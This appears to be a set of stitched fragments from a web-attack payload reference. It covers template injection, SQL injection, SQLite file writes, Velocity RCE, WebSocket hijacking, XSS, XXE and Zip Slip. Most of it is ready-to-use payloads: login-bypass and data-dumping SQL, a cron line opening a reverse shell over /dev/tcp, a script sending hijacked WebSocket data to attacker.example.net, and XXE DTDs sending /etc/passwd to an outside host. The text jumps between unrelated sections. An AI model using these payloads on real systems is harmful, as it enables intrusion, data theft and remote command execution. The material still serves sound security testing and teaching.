:80 {\n root * /\n templates\n respond \"You came from {http.request.header.Referer}\"\n}\nThis tells Caddy to process the response string as a template, and interpolate any variables (using Go template syntax) present in the referenced request header.
In this curl request, the attacker supplied as Referer header a Go template expression: {{readFile \"etc/passwd\"}}.
curl -H 'Referer: {{readFile \"etc/passwd\"}}' http://localhost/\nHTTP/1.1 200 OK\nContent-Length: 716\nContent-Type: text/plain; charset=utf-8\nServer: Caddy\nDate: Thu, 24 Jul 2025 08:00:50 GMT\n\nYou came from root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nBecause Caddy is running the templates directive, it will evaluate anything in curly braces inside the context, including things from untrusted input. The readFile function is available in Caddy templates, so the attacker's input causes Caddy to actually read /etc/passwd and insert its content into the HTTP response.

The application typically checks these credentials against a database. For example, a SQL query might look something like this:
SELECT * FROM users WHERE username = 'user' AND password = 'pass';\nAn attacker can attempt to inject malicious SQL code into the username or password fields. For instance, if the attacker types the following in the username field:
' OR '1'='1'--\nThis payload is injecting an always true statement into the username field and comment the rest SQL query. The attacker can write anything in the password field because the resulting SQL query will not check it anymore.
SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = '';\nHere, '1'='1' is always true, which means the query could return a valid user, effectively bypassing the authentication check.
In this case, the database will return an array of results because it will match every users in the table. This will produce an error in the server side since it was expecting only one result. By adding a LIMIT clause, you can restrict the number of rows returned by the query.
By submitting the following payload in the username field, you will log in as the first user in the database. Additionally, you can inject a payload in the password field while using the correct username to target a specific user.
' or 1=1 limit 1 --\nAvoid using this payload indiscriminately, as it always returns true. It could interact with endpoints that may inadvertently delete sessions, files, configurations, or database data.
In PHP, if the optional binary parameter is set to true, then the md5 digest is instead returned in raw binary format with a length of 16. Let's take this PHP code where the authentication is checking the MD5 hash of the password submitted by the user.
sql = \"SELECT * FROM admin WHERE pass = '\".md5($password,true).\"'\";\nAn attacker can craft a payload where the result of the md5($password,true) function will contain a quote and escape the SQL context, for example with ' or 'SOMETHING.

Authentication systems instead use a representation of the password (a hash derived by a key-derivation function, often with a salt). That evolution changes the mechanics of some classic SQL injection (SQLi) bypasses: an attacker who injects rows via UNION must now supply values that match the stored representation the application expects, not the user's raw password.
Many na\u00efve authentication flows perform these high-level steps:
SELECT username, password_hash FROM users WHERE username = ?).password_hash from the DB.hash(input_password) using whatever algorithm is configured.stored_password_hash == hash(input_password).If an attacker can inject an extra row into the result set (for example using UNION), they can make the application receive an attacker-controlled stored_password_hash. If that injected hash equals hash(attacker_supplied_password) as computed by the app, the comparison succeeds and the attacker is authenticated as the injected username.
admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'--\nAND 1=0: to force the request to be false.SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92': select as many columns as necessary, here 161ebd7d45089b3446ee4e0d86dbcf92 corresponds to MD5(\"P@ssw0rd\").If the application computes MD5(\"P@ssw0rd\") and that equals 161ebd7d45089b3446ee4e0d86dbcf92, then supplying \"P@ssw0rd\" as the login password will pass the check.
This method fails if the app stores salt and KDF(salt, password). A single injected static hash cannot match a per-user salted result unless the attacker also knows or controls the salt and KDF parameters.
In a standard SQL query, data is retrieved from one table. The UNION operator allows multiple SELECT statements to be combined. If an application is vulnerable to SQL injection, an attacker can inject a crafted SQL query that appends a UNION statement to the original query.
Let's assume a vulnerable web application retrieves product details based on a product ID from a database:
SELECT product_name, product_price FROM products WHERE product_id = 'input_id';\nAn attacker could modify the input_id to include the data from another table like users.
1' UNION SELECT username, password FROM users --\nAfter submitting our payload, the query become the following SQL:
SELECT product_name, product_price FROM products WHERE product_id = '1' UNION SELECT username, password FROM users --';\nThe 2 SELECT clauses must have the same number of columns.

Here is a naive example to recover the content of the @@hostname variable.
Identify Injection Point and Confirm Vulnerability : Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:
http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)\nhttp://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)\nExtract Hostname Length: Guess the length of the hostname by incrementing until the response indicates a match. For example:
http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)\nhttp://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)\nhttp://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)\nExtract Hostname Characters : Extract each character of the hostname using substring and ASCII comparison:
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 -- \nhttp://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 -- \nThen repeat the method to discover every characters of the @@hostname. Obviously this example is not the fastest way to obtain them. Here are a few pointers to speed it up:
Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returned successfully or triggered an error. In this case, we only infer the success from the server's answer, but the data is not extracted from output of the error.
Example: Using json() function in SQLite to trigger an error as an oracle to know when the injection is true or false.

It is used when an application does not display any direct feedback from the database queries but allows execution of time-delayed SQL commands.

This method is particularly useful when the injected SQL command's results cannot be seen directly or the server's responses are not stable or reliable.

The operator allows the use of wildcard characters to match unknown or partial string values. This is especially useful in a blind SQL injection context when an attacker does not know the length or specific content of the data stored in the database.
Wildcard Characters in LIKE:
%): This wildcard represents zero, one, or multiple characters. It can be used to match any sequence of characters._): This wildcard represents a single character. It's used for more precise matching when you know the structure of the data but not the specific character at a particular position.SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';\nSELECT * FROM products WHERE product_name LIKE '%user_input%'\nBlind SQL injection can also be performed using the MySQL REGEXP operator, which is used for matching a string against a regular expression. This technique is particularly useful when attackers want to perform more complex pattern matching than what the LIKE operator can offer.
' OR (SELECT username FROM users WHERE username REGEXP '^.{8,}$') -- Checking length ' OR (SELECT username FROM users WHERE username REGEXP '[0-9]') -- Checking for the presence of digits ' OR (SELECT username FROM users WHERE username REGEXP '^a[a-z]') -- Checking for data starting by \"a\""},{"location":"SQL%20Injection/MySQL%20Injection/#mysql-time-based","title":"MYSQL Time Based","text":"The following SQL codes will delay the output from MySQL.

This method leverages the ability to concatenate multiple pieces of data into a single result set, which is then returned in one response from the database.

This table can list all operations that DB is performing at the moment.
The PROCESSLIST table contains several important columns, each providing details about the current processes. Common columns include:
SELECT * FROM INFORMATION_SCHEMA.PROCESSLIST;\nUNION SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #\nDump in one shot query to extract the whole content of the table.
UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0X00),(SELECT(@)FROM(information_schema.processlist)WHERE(@)IN(@:=CONCAT(@,0x3C62723E,state,0x3a,info))))a),3,4 #\nNeed the filepriv, otherwise you will get the error : ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

We can use this to change the admin password by:
Inject using payload:
attacker_dummy@example.com\", \"P@ssw0rd\"), (\"admin@example.com\", \"P@ssw0rd\") ON DUPLICATE KEY UPDATE password=\"P@ssw0rd\" --\nThe query would look like this:
INSERT INTO users (email, password) VALUES (\"attacker_dummy@example.com\", \"BCRYPT_HASH\"), (\"admin@example.com\", \"P@ssw0rd\") ON DUPLICATE KEY UPDATE password=\"P@ssw0rd\" -- \", \"BCRYPT_HASH_OF_YOUR_PASSWORD_INPUT\");\nThis query will insert a row for the user \"attacker_dummy@example.com\". It will also insert a row for the user \"admin@example.com\".
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the password column of the already existing row to \"P@ssw0rd\". After this, we can simply authenticate with \"admin@example.com\" and the password \"P@ssw0rd\".
In MYSQL \"admin\" and \"admin\" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
`username` varchar(20) not null\nPayload: username = \"admin a\"

Use json_arrayagg() instead of group_concat() which allows less symbols to be displayed

It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent. The format is: base 'e' exponent.
For example:
1e3 represents 1 x 10^3 which is 1000.1.5e3 represents 1.5 x 10^3 which is 1500.2e-3 represents 2 x 10^-3 which is 0.002.The following queries are equivalent:
SELECT table_name FROM information_schema 1.e.tablesSELECT table_name FROM information_schema .tablesIn the same way, the common payload to bypass authentication ' or ''=' is equivalent to ' or 1.e('')=' and 1' or 1.e(1) or '1'='1. This technique can be used to obfuscate queries to bypass WAF, for example: 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
MySQL conditional comments are enclosed within /*! ... */ and can include a version number to specify the minimum version of MySQL that should execute the contained code. The code inside this comment will be executed only if the MySQL version is greater than or equal to the number immediately following the /*!. If the MySQL version is less than the specified number, the code inside the comment will be ignored.
/*!12345UNION*/: This means that the word UNION will be executed as part of the SQL statement if the MySQL version is 12.345 or higher./*!31337SELECT*/: Similarly, the word SELECT will be executed if the MySQL version is 31.337 or higher.Examples: /*!12345UNION*/, /*!31337SELECT*/
Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term \"wide byte\" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently.
The SET NAMES gbk query can be exploited in a charset-based SQL injection attack. When the character set is set to GBK, certain multibyte characters can be used to bypass the escaping mechanism and inject malicious SQL code.
Several characters can be used to trigger the injection.
%bf%27: This is a URL-encoded representation of the byte sequence 0xbf27. In the GBK character set, 0xbf27 decodes to a valid multibyte character followed by a single quote ('). When MySQL encounters this sequence, it interprets it as a single valid GBK character followed by a single quote, effectively ending the string.%bf%5c: Represents the byte sequence 0xbf5c. In GBK, this decodes to a valid multi-byte character followed by a backslash (\\). This can be used to escape the next character in the sequence.%a1%27: Represents the byte sequence 0xa127. In GBK, this decodes to a valid multi-byte character followed by a single quote (').A lot of payloads can be created such as:
%A8%27 OR 1=1;--\n%8C%A8%27 OR 1=1--\n%bf' OR 1=1 -- --\nHere is a PHP example using GBK encoding and filtering the user input to escape backslash, single and double quote.
function check_addslashes($string)\n{\n $string = preg_replace('/'. preg_quote('\\\\') .'/', \"\\\\\\\\\\\\\", $string); //escape any backslash\n $string = preg_replace('/\\'/i', '\\\\\\'', $string); //escape single quote with a backslash\n $string = preg_replace('/\\\"/', \"\\\\\\\"\", $string); //escape double quote with a backslash\n\n return $string;\n}\n\n$id=check_addslashes($_GET['id']);\nmysql_query(\"SET NAMES gbk\");\n$sql=\"SELECT * FROM users WHERE id='$id' LIMIT 0,1\";\nprint_r(mysql_error());\nHere's a breakdown of how the wide byte injection works:
For instance, if the input is ?id=1', PHP will add a backslash, resulting in the SQL query: SELECT * FROM users WHERE id='1\\'' LIMIT 0,1.
However, when the sequence %df is introduced before the single quote, as in ?id=1%df', PHP still adds the backslash. This results in the SQL query: SELECT * FROM users WHERE id='1%df\\'' LIMIT 0,1.
In the GBK character set, the sequence %df%5c translates to the character \u9023. So, the SQL query becomes: SELECT * FROM users WHERE id='1\u9023'' LIMIT 0,1. Here, the wide byte character \u9023 effectively \"eating\" the added escape character, allowing for SQL injection.
Therefore, by using the payload ?id=1%df' and 1=1 --+, after PHP adds the backslash, the SQL query transforms into: SELECT * FROM users WHERE id='1\u9023' and 1=1 --+' LIMIT 0,1. This altered query can be successfully injected, bypassing the intended SQL logic.
Oracle SQL Injection is a type of security vulnerability that arises when attackers can insert or \"inject\" malicious SQL code into SQL queries executed by Oracle Database. This can occur when user inputs are not properly sanitized or parameterized, allowing attackers to manipulate the query logic. This can lead to unauthorized access, data manipulation, and other severe security implications.

Then it creates a table inside that file (which is actually the future web-shell). Finally it writes malicious PHP code into the file.
Note: Using ATTACH DATABASE to create a file comes with a drawback: SQLite will prepend its magic header bytes (5351 4c69 7465 2066 6f72 6d61 7420 3300, i.e., \"SQLite format 3\"). These bytes will corrupt most server-side scripts, but PHP is unusually tolerant: as long as a <?php tag appears anywhere in the file, the interpreter ignores any preceding garbage and executes the embedded code.

ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;\nCREATE TABLE cron.tab (dataz text);\nINSERT INTO cron.tab (dataz) VALUES (char(10) || '* * * * * root bash -i >& /dev/tcp/127.0.0.1/4242 0>&1' || char(10));--\nThis writes a new cron entry that runs every minute and connects back to the attacker.

When the extension is loaded, SQLite calls this function to register any new SQL functions, virtual tables, or other features provided by the module.
To compile a loadable extension on Linux, you can use:

sqlmap -u \"http://example.com/vulnerable.php?id=1\" --sql-query=\"SELECT version()\"\nThe --eval option lets you define or modify request parameters using Python. The evaluated variables can then be used inside the URL, headers, cookies, etc.
Particularly useful in scenarios such as:
sqlmap -u \"http://example.com/vulnerable.php?id=1\" --eval=\"import random; id=random.randint(1,10)\"\nsqlmap -u \"http://example.com/vulnerable.php?id=1\" --eval=\"import hashlib;id2=hashlib.md5(id).hexdigest()\"\nsqlmap -u 'http://example.com/vulnerable.php?id=1' --preprocess=preprocess.py --postprocess=postprocess.py\nThe preprocessing script is used to modify the request data before it is sent to the target application. This can be useful for encoding parameters, adding headers, or other request modifications.
--preprocess=preprocess.py Use given script(s) for preprocessing (request)\nExample preprocess.py:
#!/usr/bin/env python\ndef preprocess(req):\n print(\"Preprocess\")\n print(req)\nThe postprocessing script is used to modify the response data after it is received from the target application. This can be useful for decoding responses, extracting specific data, or other response modifications.
--postprocess=postprocess.py Use given script(s) for postprocessing (response)\nThe parameter --test-filter is helpful when you want to focus on specific types of SQL injection techniques or payloads.

Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.
In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:
#set($str=$class.inspect(\"java.lang.String\").type)\n#set($chr=$class.inspect(\"java.lang.Character\").type)\n#set($ex=$class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"whoami\"))\n$ex.waitFor()\n#set($out=$ex.getInputStream())\n#foreach($i in [1..$out.available()])\n$str.valueOf($chr.toChars($out.read()))\n#end\nA more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as echo \"a\" > /tmp/a. Below is an example with whoami in base64:
#set($base64EncodedCommand = 'd2hvYW1p')\n\n#set($contextObjectClass = $knownContextObject.getClass())\n\n#set($Base64Class = $contextObjectClass.forName(\"java.util.Base64\"))\n#set($Base64Decoder = $Base64Class.getMethod(\"getDecoder\").invoke(null))\n#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))\n\n#set($StringClass = $contextObjectClass.forName(\"java.lang.String\"))\n#set($command = $StringClass.getConstructor($contextObjectClass.forName(\"[B\"), $contextObjectClass.forName(\"java.lang.String\")).newInstance($decodedBytes, \"UTF-8\"))\n\n#set($commandArgs = [\"/bin/sh\", \"-c\", $command])\n\n#set($ProcessBuilderClass = $contextObjectClass.forName(\"java.lang.ProcessBuilder\"))\n#set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName(\"java.util.List\")).newInstance($commandArgs))\n#set($processBuilder = $processBuilder.redirectErrorStream(true))\n#set($process = $processBuilder.start())\n#set($exitCode = $process.waitFor())\n\n#set($inputStream = $process.getInputStream())\n#set($ScannerClass = $contextObjectClass.forName(\"java.util.Scanner\"))\n#set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName(\"java.io.InputStream\")).newInstance($inputStream))\n#set($scannerDelimiter = $scanner.useDelimiter(\"\\\\A\"))\n\n#if($scanner.hasNext())\n #set($output = $scanner.next().trim())\n $output.replaceAll(\"\\\\s+$\", \"\").replaceAll(\"^\\\\s+\", \"\")\n#end\nError-Based RCE payload:

We have control over 3 elements in the cookie:

$expiration set to a future UNIX timestamp, and $hmac set to \"0\".$expiration value: The attacker then brute forces different $expiration values until the hash_hmac function generates a hash that starts with \"0e\" and is followed only by numbers.

The AddType directive in an .htaccess file is used to specify the MIME (Multipurpose Internet Mail Extensions) type for different file extensions on an Apache HTTP Server. This directive helps the server understand how to handle different types of files and what content type to associate with them when serving them to clients (such as web browsers).
Here is the basic syntax of the AddType directive:
AddType mime-type extension [extension ...]\nExploit AddType directive by uploading an .htaccess file with the following content.
AddType application/x-httpd-php .rce\nThen upload any file with .rce extension.
uWSGI configuration files can include \u201cmagic\u201d variables, placeholders and operators defined with a precise syntax. The \u2018@\u2019 operator in particular is used in the form of @(filename) to include the contents of a file. Many uWSGI schemes are supported, including \u201cexec\u201d - useful to read from a process\u2019s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is parsed:

WebSocket is a communication protocol that provides full-duplex communication channels over a single, long-lived connection. This enables real-time, bi-directional communication between clients (typically web browsers) and servers through a persistent connection. WebSockets are commonly used for web applications that require frequent, low-latency updates, such as live chat applications, online gaming, real-time notifications, and financial trading platforms.

It offers an interactive REPL interface that is user-friendly and easy to automate. The tool was developed during an engagement with a client whose web application heavily relied on WebSockets for soft real-time communication.
wsrepl is designed to provide a balance between an interactive REPL experience and automation. It is built with Python\u2019s TUI framework Textual, and it interoperates with curl\u2019s arguments, making it easy to transition from the Upgrade request in Burp to wsrepl. It also provides full transparency of WebSocket opcodes as per RFC 6455 and has an automatic reconnection feature in case of disconnects.
pip install wsrepl\nwsrepl -u URL -P auth_plugin.py\nMoreover, wsrepl simplifies the process of transitioning into WebSocket automation. Users just need to write a Python plugin. The plugin system is designed to be flexible, allowing users to define hooks that are executed at various stages of the WebSocket lifecycle (init, on_message_sent, on_message_received, ...).
from wsrepl import Plugin\nfrom wsrepl.WSMessage import WSMessage\n\nimport json\nimport requests\n\nclass Demo(Plugin):\n def init(self):\n token = requests.get(\"https://example.com/uuid\").json()[\"uuid\"]\n self.messages = [\n json.dumps({\n \"auth\": \"session\",\n \"sessionId\": token\n })\n ]\n\n async def on_message_sent(self, message: WSMessage) -> None:\n original = message.msg\n message.msg = json.dumps({\n \"type\": \"message\",\n \"data\": {\n \"text\": original\n }\n })\n message.short = original\n message.long = message.msg\n\n async def on_message_received(self, message: WSMessage) -> None:\n original = message.msg\n try:\n message.short = json.loads(original)[\"data\"][\"text\"]\n except:\n message.short = \"Error: could not parse message\"\n\n message.long = original\nStart ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.
python ws-harness.py -u \"ws://dvws.local:8080/authenticate-user\" -m ./message.txt\nThe content of the message should contains the [FUZZ] keyword.
{\n \"auth_user\":\"dGVzda==\",\n \"auth_pass\":\"[FUZZ]\"\n}\nThen you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump\nIf the WebSocket handshake is not correctly protected using a CSRF token or a nonce, it's possible to use the authenticated WebSocket of a user on an attacker's controlled site because the cookies are automatically sent by the browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).
Example exploit, hosted on an attacker's server, that exfiltrates the received data from the WebSocket to the attacker:
<script>\n ws = new WebSocket('wss://vulnerable.example.com/messages');\n ws.onopen = function start(event) {\n ws.send(\"HELLO\");\n }\n ws.onmessage = function handleReply(event) {\n fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});\n }\n ws.send(\"Some text sent to the server\");\n</script>\nYou have to adjust the code to your exact situation. E.g. if your web application uses a Sec-WebSocket-Protocol header in the handshake request, you have to add this value as a 2nd parameter to the WebSocket function call in order to add this header.

Examples:
In a timing attack, an attacker seeks to uncover sensitive information by observing how long a system takes to respond to particular requests. They deploy carefully designed scripts to the target application to execute API calls, send AJAX requests, or initiate cross-origin resource sharing (CORS) interactions.

XSS enables attackers to inject client-side scripts into web pages viewed by other users.
"},{"location":"XSS%20Injection/#summary","title":"Summary","text":"Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions.
There are 3 main types of XSS attacks:
Reflected XSS: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials.
Stored XSS: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed in their browsers, allowing the attacker to perform various actions.
DOM-based XSS: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code.
To prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code.
"},{"location":"XSS%20Injection/#proof-of-concept","title":"Proof of Concept","text":"When exploiting an XSS vulnerability, it\u2019s more effective to demonstrate a complete exploitation scenario that could lead to account takeover or sensitive data exfiltration. Instead of simply reporting an XSS with an alert payload, aim to capture valuable data, such as payment information, personal identifiable information (PII), session cookies, or credentials.

This payload opens the debugger in the developer console rather than triggering a popup alert box.
<script>debugger;</script>\nModern applications with content hosting can use sandbox domains
to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.
For this reason, it's better to use alert(document.domain) or alert(window.origin) rather than alert(1) as default XSS payload in order to know in which scope the XSS is actually executing.
Better payload replacing <script>alert(1)</script>:
<script>alert(document.domain.concat(\"\\n\").concat(window.origin))</script>\nWhile alert() is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so console.log() can be used instead to display a message in the console of the developer console (doesn't require any interaction).
Example:
<script>console.log(\"Test XSS from the search bar of page XYZ\\n\".concat(document.domain).concat(\"\\n\").concat(window.origin))</script>\nReferences:

When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation, Angular sanitizes and escapes untrusted values.
However, it is possible to mark a value as trusted and prevent the automatic sanitization with these methods:
Example of a component using the unsecure method bypassSecurityTrustUrl:
import { Component, OnInit } from '@angular/core';\n\n@Component({\n selector: 'my-app',\n template: `\n <h4>An untrusted URL:</h4>\n <p><a class=\"e2e-dangerous-url\" [href]=\"dangerousUrl\">Click me</a></p>\n <h4>A trusted URL:</h4>\n <p><a class=\"e2e-trusted-url\" [href]=\"trustedUrl\">Click me</a></p>\n `,\n})\nexport class App {\n constructor(private sanitizer: DomSanitizer) {\n this.dangerousUrl = 'javascript:alert(\"Hi there\")';\n this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);\n }\n}\nWhen doing a code review, you want to make sure that no user input is being trusted since it will introduce a security vulnerability in the application.

Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of /etc/passwd would be disclosed as part of the error message, revealing sensitive information.Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

Rebuild Excel file:
cd XXE\nzip -r -u ../xxe.xlsx *\nWarning: Use zip -u (https://infozip.sourceforge.net/Zip.html) and not 7z u / 7za u (https://p7zip.sourceforge.net/) or 7zz (https://www.7-zip.org/) because they won't recompress it the same way and many Excel parsing libraries will fail to recognize it as a valid Excel file. A valid magic byte signature with (file XXE.xlsx) will be shown as Microsoft Excel 2007+ (with zip -u) and an invalid one will be shown as Microsoft OOXML. Alternatively, with 7z you can specify the correct compression algorithm with: 7z a -tzip to get the correct signature.
Add your blind XXE payload inside xl/workbook.xml.
<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM \"http://x.x.x.x:8000/xxe.dtd\">%asd;%c;]>\n<cdl>&rrr;</cdl>\n<workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\">\nAlternatively, add your payload in xl/sharedStrings.xml:
<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM \"http://x.x.x.x:8000/xxe.dtd\">%asd;%c;]>\n<sst xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" count=\"10\" uniqueCount=\"10\"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>\nUsing a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files.
xxe.dtd
<!ENTITY % d SYSTEM \"file:///etc/passwd\">\n<!ENTITY % c \"<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>\">\nServe DTD and receive FTP payload using staaldraad/xxeserv:
xxeserv -o files.log -p 2121 -w -wd public -wp 8000\nMost XXE payloads detailed above require control over both the DTD or DOCTYPE block as well as the xml file. In rare situations, you may only control the DTD file and won't be able to modify the xml file. For example, a MITM. When all you control is the DTD file, and you do not control the xml file, XXE may still be possible with this payload.
<!-- Load the contents of a sensitive file into a variable -->\n<!ENTITY % payload SYSTEM \"file:///etc/passwd\">\n<!-- Use that variable to construct an HTTP get request with the file contents in the URL -->\n<!ENTITY % param1 '<!ENTITY % external SYSTEM \"http://my.evil-host.com/x=%payload;\">'>\n%param1;\n%external;\nThe vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../shell.php). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim\u2019s machine.
"},{"location":"Zip%20Slip/#summary","title":"Summary","text":"The Zip Slip vulnerability is a critical security flaw that affects the handling of archive files, such as ZIP, TAR, or other compressed file formats. This vulnerability allows an attacker to write arbitrary files outside of the intended extraction directory, potentially overwriting critical system files, executing malicious code, or gaining unauthorized access to sensitive information.
Example: Suppose an attacker creates a ZIP file with the following structure:
malicious.zip\n \u251c\u2500\u2500 ../../../../etc/passwd\n \u251c\u2500\u2500 ../../../../usr/local/bin/malicious_script.sh\nWhen a vulnerable application extracts malicious.zip, the files are written to /etc/passwd and /usr/local/bin/malicious_script.sh instead of being contained within the extraction directory. This can have severe consequences, such as corrupting system files or executing malicious scripts.
Using ptoomey3/evilarc:
python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15\nCreating a ZIP archive containing a symbolic link:
ln -s ../../../index.php symindex.txt\nzip --symlinks test.zip symindex.txt\nFor a list of affected libraries and projects, visit snyk/zip-slip-vulnerability
